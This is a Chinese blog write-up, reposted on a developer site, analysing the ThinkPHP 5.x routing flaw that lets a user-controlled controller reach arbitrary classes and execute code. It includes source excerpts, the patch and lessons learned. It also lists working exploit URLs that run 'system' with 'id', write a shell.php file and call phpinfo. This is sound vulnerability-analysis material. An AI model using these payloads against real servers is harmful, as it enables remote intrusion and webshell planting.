ThinkPHP5.x 路由缺陷导致远程代码执行

栏目: PHP · 发布时间: 7年前

内容简介:平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。

平时经常还是会写文章,不过越来越不愿意发博客了,写的也越来越随性,最近记流水账的几篇文章找出来一块发了。

0x00 介绍

ThinkPHP是一套国内流行的开源PHP MVC开发框架,其中存在3.x和5.x两个版本,目前3.x已停止维护,5.x为15年正式推出的,基本上对3.x进行了重构,针对于路由,也舍弃了默认的方式,正是因为新的路由存在缺陷,导致任意函数的调用。

0x01 知识背景

路由解析

ThinkPHP5.x 路由缺陷导致远程代码执行

?s=index/index/hello

tp5中路由舍弃了3.x中的 ?m=index&c=Index&a=hello 方式,而使用一个参数 s 传递所有信息, s=/index/Index/hello 中三部分分别代表 module , controller , action 。此次出现问题的部分便是 controller ,由于 ThinkPHP 中命名空间和自动加载的作用,每个类都可被访问到,即导致每个类都可被当做 controller

ThinkPHP5.x 路由缺陷导致远程代码执行

参数处理

<?php
namespace app\index\controller;

class Test
{
    public function index($name){
        return 'Hello '+$name;
    }
    
}
?s=index/test/index&name=world

参数会自动处理,当然也可为数组,比如

?s=index/test/index&name[0]=world&&name[1]=xx

0x02 漏洞分析

ThinkPHP5.x 路由缺陷导致远程代码执行

在5.1.x中函数名为 parseModuleAndClass ,功能一样

parseClass() 函数:

ThinkPHP5.x 路由缺陷导致远程代码执行

正常情况下会对 name 进行处理,限制在 app\index\controller 命名空间。

这里的 name 即为 controller ,前置处理为获取到 module , controller , action ,将 controller 传入该函数处理。

name 中存在 \\ 时,直接将 name 赋值到 class ,不再进行 parseClass 操作,配合自动加载的机制从而导致可为任意命名空间下的类作为 controller ,任意 public 都可被用户访问到,结合 ThinkPHP5 内置的一些类和方法便可造成远程命令执行。

0x03 POC

thinkphp/library/think/App.php 304-320行

/**
     * 执行函数或者闭包方法 支持参数调用
     * @access public
     * @param string|array|\Closure $function 函数或者闭包
     * @param array                 $vars     变量
     * @return mixed
     */
    public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }
?s=index/thinkapp/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id

ReflectionFunctionPHP 中的反射类,反射调用 call_user_func_arraycall_user_func_array 为回调函数,回调 system ,参数为 id

ThinkPHP5.x 路由缺陷导致远程代码执行

已知POC(来自t00ls):

1、?s=index/\think\Request/input&filter=phpinfo&data=1
2、?s=index/\think\Request/input&filter=system&data=id
3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

0x04 漏洞补丁

ThinkPHP5.x 路由缺陷导致远程代码执行

该补丁为 5.0.x 补丁, 5.1.x 位置不一样,方式一样。

补丁方式为限制 controller 只能为字母和数字。并且放在 controller 处理之前。

0x04 总结

简单来说这个洞是由于用户控制了 controller 导致的,开发者将处理 controller 的代码封装到了 Loader.php ,并且与其他功能进行代码复用,为了满足其他功能增加的功能(即特殊处理存在 \\ 的参数),从而导致了漏洞。 代码复用是开发者优质的习惯,但也需要严格审核是否因为书写复用代码时是否会造成漏洞。

另外,可以看到这是一个非常浅显的洞,至今没有人发现,最终由官方爆出,也许很多用户默认此开源框架“流行 == 安全”,其实很多应用并不是想象中的完全安全,漏洞经常发生在被人忽视的地方。

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/125/
来源:https://p0sec.net/


以上所述就是小编给大家介绍的《ThinkPHP5.x 路由缺陷导致远程代码执行》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Go Web 编程

Go Web 编程

[新加坡]Sau Sheong Chang(郑兆雄) / 黄健宏 / 人民邮电出版社 / 2017-11-22 / 79

《Go Web 编程》原名《Go Web Programming》,原书由新加坡开发者郑兆雄(Sau Sheong Chang)创作、 Manning 出版社出版,人名邮电出版社引进了该书的中文版权,并将其交由黄健宏进行翻译。 《Go Web 编程》一书围绕一个网络论坛 作为例子,教授读者如何使用请求处理器、多路复用器、模板引擎、存储系统等核心组件去构建一个 Go Web 应用,然后在该应用......一起来看看 《Go Web 编程》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具